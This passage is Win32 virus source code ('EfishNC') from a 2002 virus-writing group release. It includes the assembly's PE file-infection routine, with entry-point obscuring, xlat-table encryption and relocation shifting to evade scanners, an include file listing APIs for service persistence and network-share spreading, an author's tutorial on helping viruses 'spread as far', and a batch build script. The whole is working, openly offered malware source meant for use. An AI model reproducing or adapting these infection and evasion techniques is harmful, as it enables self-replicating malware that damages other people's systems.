push (krncrcstk.kGetVersion - krncrcstk.klstrlenW) shr 2
jmp call_krncrc
cGetVersion endp
cCreateThread proc near
push (krncrcstk.kCreateThread - krncrcstk.klstrlenW) shr 2
jmp call_krncrc
cCreateThread endp
cCloseHandle proc near
push (krncrcstk.kCloseHandle - krncrcstk.klstrlenW) shr 2
cCloseHandle endp
call_krncrc proc near
pop eax
store_krnapi label near
jmp dword ptr [eax * 4 + '!bgr']
call_krncrc endp
;-----------------------------------------------------------------------------
;infect file using entry point obscured way and variable encryption
;algorithm: increase file size by random amount (RANDPADMIN-RANDPADMAX
; bytes) to confuse scanners that look at end of file (also
; infection marker)
; if reloc table is not in last section (taken from relocation
; field in PE header, not section name), then append to last
; section. otherwise, move relocs down and insert code into
; space (to confuse people looking at end of file. they will
; see only relocation data and garbage or many zeroes)
; entry point is not altered. search instead for stack frame
; (push ebp+mov ebp, esp) with end (mov esp, ebp+pop ebp) at
; least as large as decryptor then save bytes and overwrite with
; small oligomorphic decryptor and body is encrypted using xlat
; table so is like having 256 keys
; variable number of garbage bytes placed on both sides of body
;-----------------------------------------------------------------------------
infect_file label near ;esi -> findlist, edi = map view
call open_append
delta_label label near
push ecx
push edi
mov ebx, dword ptr [edi + mzhdr.mzlfanew]
lea ebx, dword ptr [ebx + edi + pehdr.pechksum]
movzx eax, word ptr [ebx + pehdr.pecoff.pesectcount - pehdr.pechksum]
imul eax, eax, size pesect
movzx ecx, word ptr [ebx + pehdr.pecoff.peopthdrsize - pehdr.pechksum]
add eax, ecx
lea esi, dword ptr [ebx + eax + pehdr.pemagic - pehdr.pechksum - size pesect + pesect.sectrawsize]
lods dword ptr [esi]
mov cx, grbgsize + tblsize + grbgsize + vsize + randsize + grbgsize
mov edx, dword ptr [ebx + pehdr.pefilealign - pehdr.pechksum]
push eax
add eax, ecx
dec edx
add eax, edx
not edx
and eax, edx ;file align last section
mov dword ptr [esi + pesect.sectrawsize - pesect.sectrawaddr], eax
;-----------------------------------------------------------------------------
;raw size is file aligned. virtual size is not required to be section aligned
;so if old virtual size is larger than new raw size, then size of image does
;not need to be updated, else virtual size must be large enough to cover the
;new code, and size of image is section aligned
;-----------------------------------------------------------------------------
mov ebp, dword ptr [esi + pesect.sectvirtaddr - pesect.sectrawaddr]
cmp dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr], eax
jnb test_reloff
mov dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr], eax
add eax, ebp
mov edx, dword ptr [ebx + pehdr.pesectalign - pehdr.pechksum]
dec edx
add eax, edx
not edx
and eax, edx
mov dword ptr [ebx + pehdr.peimagesize - pehdr.pechksum], eax
;-----------------------------------------------------------------------------
;if relocation table is not in last section, then append to last section
;otherwise, move relocations down and insert code into space
;-----------------------------------------------------------------------------
test_reloff label near
test byte ptr [ebx + pehdr.pecoff.peflags - pehdr.pechksum], IMAGE_FILE_RELOCS_STRIPPED
jne copy_code
cmp dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], ebp
jb copy_code
mov eax, dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr]
add eax, ebp
cmp dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], eax
jnb copy_code
add dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], ecx
pop eax
push esi
add edi, dword ptr [esi]
lea esi, dword ptr [edi + eax - 1]
lea edi, dword ptr [esi + ecx]
xchg ecx, eax
std
rep movs byte ptr [edi], byte ptr [esi]
cld
pop esi
pop edi
push edi
push ecx
xchg ecx, eax
copy_code label near
pop edx
add ebp, edx
xchg ebp, eax
add edx, dword ptr [esi]
add edi, edx
pop eax
push eax
push ecx
push edi
push esi
xchg edi, eax
call find_epo
push decsize
pop ecx
mov edi, offset orgbytes - offset delta_label
add edi, dword ptr [esp + infectstk.infseh.mapsehsehret]
;delta offset
push ecx
push esi
rep movs byte ptr [edi], byte ptr [esi]
inc edi
stos dword ptr [edi] ;store_restore
pop edi
pop ecx
pop esi
pop eax
push eax
sub eax, dword ptr [esi]
add eax, dword ptr [esi + pesect.sectvirtaddr - pesect.sectrawaddr]
store_copysrc label near
mov esi, '!bgr'
sub eax, edx
sub eax, esi
add eax, dword ptr [ebx + pehdr.peimagebase - pehdr.pechksum]
store_baseptr label near
mov edx, '!bgr'
inc edx
add eax, dword ptr [edx]
xchg dword ptr [edx], eax
push esi
store_decsrc label near
mov esi, '!bgr'
rep movs byte ptr [edi], byte ptr [esi]
mov dword ptr [edx], eax
push ebx
mov ebx, esi
mov cx, offset efishnc_codeend - offset efishnc_inf
mov esi, offset efishnc_inf - offset delta_label
add esi, dword ptr [esp + 4 + infectstk.infseh.mapsehsehret]
;delta offset
store_encdst label near
mov edi, '!bgr'
xlat_encrypt label near
lods byte ptr [esi]
xlat byte ptr [ebx]
stos byte ptr [edi]
loop xlat_encrypt
pop ebx
pop esi
pop edi
pop ecx
rep movs byte ptr [edi], byte ptr [esi]
pop edi
;-----------------------------------------------------------------------------
;CheckSumMappedFile() - simply sum of all words in file, then adc filesize
;-----------------------------------------------------------------------------
xchg dword ptr [ebx], ecx
jecxz infect_ret
xor eax, eax
pop ecx
push ecx
inc ecx
shr ecx, 1
clc
calc_checksum label near
adc ax, word ptr [edi]
inc edi
inc edi
loop calc_checksum
pop dword ptr [ebx]
adc dword ptr [ebx], eax ;avoid common bug. ADC not ADD
infect_ret label near
int 3 ;common exit using SEH
db "*4U2NV*" ;that is, unless you're reading this
test_infect endp
regdll db "advapi32", 0 ;place < 80h bytes from end for smaller code
efishnc_codeend label near
efishnc_inf endp
end dropper
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[EFISHNC.ASM]<EFBFBD><EFBFBD><EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[EFISHNC.INC]<EFBFBD><EFBFBD><EFBFBD>
MAX_PATH equ 260
FILE_ATTRIBUTE_HIDDEN equ 00000002h
FILE_ATTRIBUTE_DIRECTORY equ 00000010h
FILE_ATTRIBUTE_NORMAL equ 00000080h
FILE_FLAG_RANDOM_ACCESS equ 10000000h
CREATE_ALWAYS equ 2
OPEN_EXISTING equ 3
GENERIC_WRITE equ 40000000h
GENERIC_READ equ 80000000h
GMEM_FIXED equ 0
GMEM_ZEROINIT equ 40h
REG_SZ equ 1
HKEY_CURRENT_USER equ 80000001h
HKEY_LOCAL_MACHINE equ 80000002h
HKEY_USERS equ 80000003h
SC_MANAGER_CREATE_SERVICE equ 2
SERVICE_START equ 10h
SERVICE_WIN32_OWN_PROCESS equ 10h
SERVICE_AUTO_START equ 2
DRIVE_FIXED equ 3
DRIVE_REMOTE equ 4
IMAGE_FILE_MACHINE_I386 equ 14ch ;14d/14e do not exist. if you don't believe, then try it
IMAGE_FILE_RELOCS_STRIPPED equ 0001h
IMAGE_FILE_EXECUTABLE_IMAGE equ 0002h
IMAGE_FILE_32BIT_MACHINE equ 0100h
IMAGE_FILE_SYSTEM equ 1000h
IMAGE_FILE_DLL equ 2000h
IMAGE_FILE_UP_SYSTEM_ONLY equ 4000h
IMAGE_SUBSYSTEM_WINDOWS_GUI equ 2
IMAGE_SUBSYSTEM_WINDOWS_CUI equ 3
SECTION_MAP_WRITE equ 0002h
FILE_MAP_WRITE equ SECTION_MAP_WRITE
PAGE_READWRITE equ 04
RANDPADMIN equ 4096
RANDPADMAX equ 2048 ;RANDPADMIN is added to this
RESOURCE_GLOBALNET equ 2
RESOURCETYPE_DISK equ 00000001
ERROR_MORE_DATA equ 234
RESOURCEUSAGE_CONNECTABLE equ 00000001
RESOURCEUSAGE_CONTAINER equ 00000002
MAX_PREFERRED_LENGTH equ 0ffffffffh
LM20_NNLEN equ 12
statelen equ 624
period equ 397
tshiftU equ 0bh
tshiftS equ 7
tmaskB equ 9d2c5680h
tshiftT equ 0fh
tmaskC equ 0efc60000h
tshiftL equ 12h
matrixA equ 9908b0dfh
grbgsize equ 8192 ;power of 2
tblsize equ 256 ;fixed (xlat table)
randsize equ 4096 ;power of 2, vsize + randsize must be < 8192, else stack fault
;so: grbgsize garbage, table, grbgsize garbage, buffer, randsize garbage
;or: grbgsize garbage, buffer, randsize garbage, table, grbgsize garbage
decsize equ 20h ;very small :) must be >= 20h
;global state
state_decdown equ 1 ;else up
state_esifirst equ 2 ;else ebx first
state_pushret equ 4 ;else jmp esp
state_pushb equ 8 ;push at begin else push at end
state_movesi equ 10h ;else lodsb
state_movedi equ 20h ;else stosb
state_jg equ 40h ;jl(e)/jb(e) else jg(e)/jnb(e)
;block 1 state ;log2, not bit value
state_loadebx equ 0 ;hard-coded
state_loadesi equ 1
state_entered equ 2
state_loadedi equ 3
state_std equ 4
state_pushreg1 equ 5
block1and equ 7
block1cmp equ 6
block1done equ (1 shl state_loadebx) or (1 shl state_loadesi) or (1 shl state_entered) \
or (1 shl state_loadedi) or (1 shl state_std) or (1 shl state_pushreg1)
;block 2 state
state_lods equ 0
state_xlat equ 1
state_stos equ 2
state_incesi equ 3
state_incedi equ 4
state_cmp equ 5
state_branch equ 6
state_pushreg2 equ 7 ;hard-coded
state_ret equ 1 ;state_esifirst overloaded
block2and equ 0fh
block2cmp equ 9
vsize equ (offset efishnc_codeend - offset efishnc_inf + 3) and -4
align 1 ;byte-packed structures
expcrcstk struct
pWriteProcessMemory dd ?
pWriteFile dd ?
pWinExec dd ?
pSetFileAttributesA dd ?
pMoveFileA dd ?
pLoadLibraryA dd ?
pGlobalFree dd ?
pGlobalAlloc dd ?
pGetWindowsDirectoryA dd ?
pGetTickCount dd ?
pGetTempFileNameA dd ?
pGetFileAttributesA dd ?
pGetCurrentProcess dd ?
pDeleteFileA dd ?
pCreateFileA dd ?
pCloseHandle dd ?
expcrcstk ends
expcrc_count equ size expcrcstk shr 2
regcrcstk struct
rRegSetValueA dd ?
rRegCreateKeyA dd ?
rRegCloseKey dd ?
rOpenSCManagerA dd ?
rCreateServiceA dd ?
rCloseServiceHandle dd ?
regcrcstk ends
regcrc_count equ size regcrcstk shr 2
popsize equ 0ch + size regcrcstk + size expcrcstk
execrcstk struct
eLoadLibraryA dd ?
eGlobalAlloc dd ?
eGetVersion dd ?
eGetTickCount dd ?
eGetStartupInfoW dd ?
eGetStartupInfoA dd ?
eGetCommandLineW dd ?
eGetCommandLineA dd ?
eExitProcess dd ?
eCreateProcessW dd ?
eCreateProcessA dd ?
execrcstk ends
execrc_count equ size execrcstk shr 2
usrcrcstk struct
uCharNextW dd ?
uCharNextA dd ?
usrcrcstk ends
usrcrc_count equ size usrcrcstk shr 2
svccrcstk struct
sStartServiceCtrlDispatcherA dd ?
svccrcstk ends
svccrc_count equ size svccrcstk shr 2
startupinfo struct
sicb dd ?
siReserved dd ?
siDesktop dd ?
siTitle dd ?
sidwX dd ?
sidwY dd ?
sidwXSize dd ?
sidwYSize dd ?
sidwXCountChars dd ?
sidwYCountChars dd ?
sidwFillAttribute dd ?
sidwFlags dd ?
siwShowWindow dw ?
sicbReserved2 dw ?
silpReserved2 dd ?
sihStdInput dd ?
sihStdOutput dd ?
sihStdError dd ?
startupinfo ends
processinfo struct
pihProcess dd ?
pihThread dd ?
pidwProcessId dd ?
pidwThreadId dd ?
processinfo ends
krncrcstk struct
klstrlenW dd ?
klstrcpyW dd ?
klstrcatW dd ?
kUnmapViewOfFile dd ?
kSleep dd ?
kSetFileTime dd ?
kSetFileAttributesW dd ?
kSetFileAttributesA dd ?
kSetCurrentDirectoryW dd ?
kSetCurrentDirectoryA dd ?
kMultiByteToWideChar dd ?
kMapViewOfFile dd ?
kLoadLibraryA dd ?
kGlobalFree dd ?
kGlobalAlloc dd ?
kGetVersion dd ?
kGetTickCount dd ?
kGetFullPathNameW dd ?
kGetFullPathNameA dd ?
kGetDriveTypeA dd ?
kFindNextFileW dd ?
kFindNextFileA dd ?
kFindFirstFileW dd ?
kFindFirstFileA dd ?
kFindClose dd ?
kCreateThread dd ?
kCreateFileMappingA dd ?
kCreateFileW dd ?
kCreateFileA dd ?
kCloseHandle dd ?
krncrcstk ends
krncrc_count equ size krncrcstk shr 2
sfccrcstk struct
sSfcIsFileProtected dd ?
sfccrcstk ends
sfccrc_count equ size sfccrcstk shr 2
netcrcstk struct
nWNetOpenEnumW dd ?
nWNetOpenEnumA dd ?
nWNetEnumResourceW dd ?
nWNetEnumResourceA dd ?
nWNetCloseEnum dd ?
netcrcstk ends
netcrc_count equ size netcrcstk shr 2
ip9xcrcstk struct
ip9xNetShareEnum dd ?
ip9xcrcstk ends
ip9xcrc_count equ size ip9xcrcstk shr 2
ipntcrcstk struct
ipntNetShareEnum dd ?
ipntNetApiBufferFree dd ?
ipntcrcstk ends
ipntcrc_count equ size ipntcrcstk shr 2
coffhdr struct
pemachine dw ? ;04
pesectcount dw ? ;06
petimedate dd ? ;08
pesymbrva dd ? ;0C
pesymbcount dd ? ;10
peopthdrsize dw ? ;14
peflags dw ? ;16
coffhdr ends
pedir struct
dirrva dd ?
dirsize dd ?
pedir ends
pehdr struct
pesig dd ? ;00
pecoff coffhdr <?>
pemagic dw ? ;18
pemajorlink db ? ;1A
peminorlink db ? ;1B
pecodesize dd ? ;1C
peidatasize dd ? ;20
peudatasize dd ? ;24
peentrypoint dd ? ;28
pecodebase dd ? ;2C
pedatabase dd ? ;30
peimagebase dd ? ;34
pesectalign dd ? ;38
pefilealign dd ? ;3C
pemajoros dw ? ;40
peminoros dw ? ;42
pemajorimage dw ? ;44
peminorimage dw ? ;46
pemajorsubsys dw ? ;48
peminorsubsys dw ? ;4A
pereserved dd ? ;4C
peimagesize dd ? ;50
pehdrsize dd ? ;54
pechksum dd ? ;58
pesubsys dw ? ;5C
pedllflags dw ? ;5E
pestackmax dd ? ;60
pestacksize dd ? ;64
peheapmax dd ? ;68
peheapsize dd ? ;6C
peldrflags dd ? ;70
pervacount dd ? ;74
peexport pedir <?> ;78
peimport pedir <?> ;80
persrc pedir <?> ;88
peexcpt pedir <?> ;90
pesecurity pedir <?> ;98
pereloc pedir <?> ;A0
pedebug pedir <?> ;A8
pearch pedir <?> ;B0
peglobal pedir <?> ;B8
petls pedir <?> ;C0
peconfig pedir <?> ;C8
pebound pedir <?> ;D0
peiat pedir <?> ;D8
pedelay pedir <?> ;E0
pecom pedir <?> ;E8
persrv pedir <?> ;F0
pehdr ends
peexp struct
expflags dd ?
expdatetime dd ?
expmajorver dw ?
expminorver dw ?
expdllrva dd ?
expordbase dd ?
expadrcount dd ?
expnamecount dd ?
expadrrva dd ?
expnamerva dd ?
expordrva dd ?
peexp ends
mzhdr struct
mzsig dw ? ;00
mzpagemod dw ? ;02
mzpagediv dw ? ;04
mzrelocs dw ? ;06
mzhdrsize dw ? ;08
mzminalloc dw ? ;0A
mzmaxalloc dw ? ;0C
mzss dw ? ;0E
mzsp dw ? ;10
mzchksum dw ? ;12
mzip dw ? ;14
mzcs dw ? ;16
mzreloff dw ? ;18
mzfiller db 22h dup (?) ;1A
mzlfanew dd ? ;3C
mzhdr ends
tib struct
ExceptReg dd ?
StackBase dd ?
StackLimit dd ?
SubSystem dd ?
FiberData dd ?
UserPointer dd ?
TibSelf dd ?
TibUnknown dd 5 dup (?)
TibTeb dd ?
tib ends
teb struct
tebUnknown dd 6 dup (?)
heaphand dd ?
tebUnknown2 dd ?
procflags dd ?
teb ends
FILETIME struct
dwLowDateTime dd ?
dwHighDateTime dd ?
FILETIME ends
WIN32_FIND_DATA struct
dwFileAttributes dd ?
ftCreationTime FILETIME <?>
ftLastAccessTime FILETIME <?>
ftLastWriteTime FILETIME <?>
dwFileSizeHigh dd ?
dwFileSizeLow dd ?
dwReserved0 dd ?
dwReserved1 dd ?
cFileName dw 260 dup (?)
cAlternateFileName dw 14 dup (?)
WIN32_FIND_DATA ends
findlist struct
findprev dd ?
findhand dd ?
finddata WIN32_FIND_DATA <?>
findlist ends
sehstruc struct
sehkrnlret dd ?
sehexcptrec dd ?
sehprevseh dd ?
sehstruc ends
pesect struct
sectname db 8 dup (?)
sectvirtsize dd ?
sectvirtaddr dd ?
sectrawsize dd ?
sectrawaddr dd ?
sectreladdr dd ?
sectlineaddr dd ?
sectrelcount dw ?
sectlinecount dw ?
sectflags dd ?
pesect ends
mapsehstk struct
mapsehprev dd ?
mapsehexcpt dd ?
mapsehregs dd 8 dup (?)
mapsehsehret dd ?
mapsehinfret dd ?
mapsehstk ends
mapstack struct
mapfilesize dd ?
mapmapret dd ?
mapinfret dd ?
mapattrib dd ?
mapstack ends
infectstk struct
infcopysrc dd ?
infcopydst dd ?
infcopysize dd ?
infmapview dd ?
inffilesize dd ?
infseh mapsehstk <?>
infectstk ends
NETRESOURCE struct
dwScope dd ?
dwType dd ?
dwDisplayType dd ?
dwUsage dd ?
lpLocalName dd ?
lpRemoteName dd ?
lpComment dd ?
lpProvider dd ?
NETRESOURCE ends
wnetlist struct
wnetprev dd ?
wnethand dd ?
wnetlist ends
SERVICE_TABLE_ENTRY struct
lpServiceName dd ?
lpServiceProc dd ?
lpServiceName0 dd ?
lpServiceProc0 dd ?
SERVICE_TABLE_ENTRY ends
share_info_1nt struct
shi1_netnament dd ?
shi1_typent dd ?
shi1_remarknt dd ?
share_info_1nt ends
share_info_19x struct
shi1_netname9x db LM20_NNLEN + 1 dup (?)
shi1_pad1 db ?
shi1_type9x dw ?
shi1_remark9x dd ?
share_info_19x ends
align ;restore default alignment
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[EFISHNC.INC]<EFBFBD><EFBFBD><EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[UNICODE.TXT]<EFBFBD><EFBFBD><EFBFBD>
United Nations
ANSI and Unicode
roy g biv / defjam
-= defjam =-
since 1992
bringing you the viruses of tomorrow
today!
About the author:
Former DOS/Win16 virus writer, author of several virus families, including
Ginger (see Coderz #1 zine for terrible buggy example, contact me for better
sources ;), and Virus Bulletin 9/95 for a description of what they called
Rainbow. Co-author of world's first virus using circular partition trick
(Orsam, coded with Prototype in 1993). Designer of the world's first XMS
swapping virus (John Galt, coded by RTFishel in 1995, only 30 bytes stub, the
rest is swapped out). Author of world's first virus using Thread Local
Storage for replication (Shrug) and world's first Native executable virus
(Chthon). Author of various retrovirus articles (eg see Vlad #7 for the
strings that make your code invisible to TBScan). Went to sleep for a number
of years. This is my fourth virus for Win32.
I'm also available for joining a group. Just in case anyone is interested. ;)
What is Unicode?
Unicode is a standard for character set encoding that supports many more
characters than ANSI character set does, and without needing any code pages.
Sounds great, but why should I care?
For the languages that cannot be supported properly by the ANSI character set
(eg Arabic and Hebrew), directories and files can be created that no ANSI
function can access. Also, no ANSI function can calculate even a simple thing
like string length of a DBCS text unless the language is known. In Unicode,
none of these things is a problem... except that Windows 9x/Me has only little
Unicode support, even if the Microsoft Layer for Unicode is used (because MSLU
relies on code pages). This means that a virus cannot spread as far because
it relies on APIs that are limited. As people move to Windows XP and other
NT-based operating systems and Asian languages become the most widely used in
the computer world, this becomes even more important for us.
So the problem is...
We want to use ANSI functions where we must (Windows 9x/Me) and Unicode
functions where we can (Windows NT/2000/XP), all without duplicating code.
And the solution?
Group together the address of functions and use indexed calls to access them.
When combined with some small support code, transparent support is easy.
Example that finds arguments on command-line in platform-independent way:
;esp -> CharNextW, CharNextA, GetCommandLineW, GetCommandLineA
call GetVersion
shr eax, 1fh ;eax = 0 if Unicode platform
; 1 if ANSI platform
lea esi, dword ptr [eax * 4 + esp] ;esi -> CharNextW if Unicode platform
; CharNextA if ANSI platform
dec eax
mov al, 0ffh
movzx edi, ax ;edi = ffff if Unicode platform
; 00ff if ANSI platform
call dword ptr [esi + 8] ;call platform-specific GetCommandLine
mov ebx, dword ptr [eax]
and ebx, edi ;mask Unicode or ANSI character
cmp ebx, '"' ;Unicode-compatible compare
je skip_argv0 ;filename will end with '"'
push ' '
pop ebx ;filename will end with ' '
skip_argv0:
push eax
call dword ptr [esi] ;call platform-specific CharNext
mov ecx, dword ptr [eax]
and ecx, edi ;mask Unicode or ANSI character
je no_args
cmp ecx, ebx ;found end of filename?
jne skip_argv0 ;no, continue
find_argv1:
push eax
call dword ptr [esi] ;call platform-specific CharNext
mov ecx, dword ptr [eax]
and ecx, edi ;mask Unicode or ANSI character
cmp ecx, ' ' ;Unicode-compatible compare
je find_argv1 ;skip spaces until argument or end
jecxz no_args
[work with arguments here]
no_args:
Example that calculates string length in bytes:
;esp -> lstrlenW, lstrlenA
;esi -> string
call GetVersion
shr eax, 1fh ;eax = 0 if Unicode platform
; 1 if ANSI platform
push esi
call dword ptr [eax * 4 + esp] ;call platform-specific lstrlen
;lstrlenW if Unicode platform
;lstrlenA if ANSI platform
xchg ebp, eax ;save character count
call GetVersion
sar eax, 1fh ;eax = 00000000 if Unicode platform
; ffffffff if ANSI platform
inc eax ;eax = 1 if Unicode platform
; 0 if ANSI platform
xchg ecx, eax
shl ebp, cl ;convert character count to byte count
Example that checks if file is protected by SFC:
SfcIsFileProtected takes a Unicode (not multibyte) full path (not filename)
so L"explorer.exe" is not protected, but L"c:\winnt\explorer.exe" is protected
;esp -> GetFullPathNameW, GetFullPathNameA
;esi -> filename to check
enter MAX_PATH * 2, 0 ;maximum size required for path
mov ecx, esp
push eax ;create space for filename variable
push esp
push ecx
push MAX_PATH ;buffer size is characters, not bytes
push esi
call GetVersion
shr eax, 1fh ;eax = 0 if Unicode platform
; 1 if ANSI platform
inc eax ;allow for saved ebp on stack
call dword ptr [eax * 4 + ebp] ;call platform-specific GetFullPathName
;GetFullPathNameW if Unicode platform
;GetFullPathNameA if ANSI platform
xchg edi, eax ;save character count
pop eax ;discard filename
xor ebx, ebx
call GetVersion
test eax, eax
jns call_sfc ;branch if Unicode platform
mov ecx, esp
xchg ebp, eax ;save ebp (no push - enter alters esp)
enter MAX_PATH * 2, 0 ;maximum space required for path
xchg ebp, eax ;restore ebp for single leave later
mov eax, esp
push MAX_PATH ;buffer size is characters, not bytes
push eax
inc edi ;include null terminator
push edi
push ecx
push ebx ;use default translation
push ebx ;CP_ANSI
call MultiByteToWideChar ;convert ANSI path to Unicode path
call_sfc:
mov ecx, 'rgb!' ;replace by SfcIsFileProtected or 0
xor eax, eax ;fake success in case of no SFC
jecxz skip_sfc
push esp
push ebx
call ecx
skip_sfc:
leave
test eax, eax
jne ignore_file ;non-zero if file is protected
[work with unprotected file]
ignore_file:
For more examples, see my other sources, such as Shrug and EfishNC, which
contain directory traverser, and IP address to UNC path converter.
Greets to the old Defjam crew:
Prototype, RTFishel, Obleak, and The Gingerbread Man
rgb/dj feb 2002
iam_rgb@hotmail.com
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[UNICODE.TXT]<EFBFBD><EFBFBD><EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[MAKE.BAT]<EFBFBD><EFBFBD><EFBFBD>
@echo off
if %1.==. goto usage
%tasm32%\bin\tasm32 /r /ml /m9 /os /p /q /w2 /zn %1
if errorlevel 1 goto end
%tasm32%\bin\tlink32 /c /B:400000 /Tpe /aa /x /n %1.obj,,,%tasm32%\lib\import32.lib,
del %1.obj
goto end
:usage
echo.
echo Usage: MAKE filename
echo eg. MAKE EFISHNC
echo requires %tasm32% set to TASM directory (eg C:\TASM)
:end
echo.
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[MAKE.BAT]<EFBFBD><EFBFBD><EFBFBD>
Reference in New Issue Copy Permalink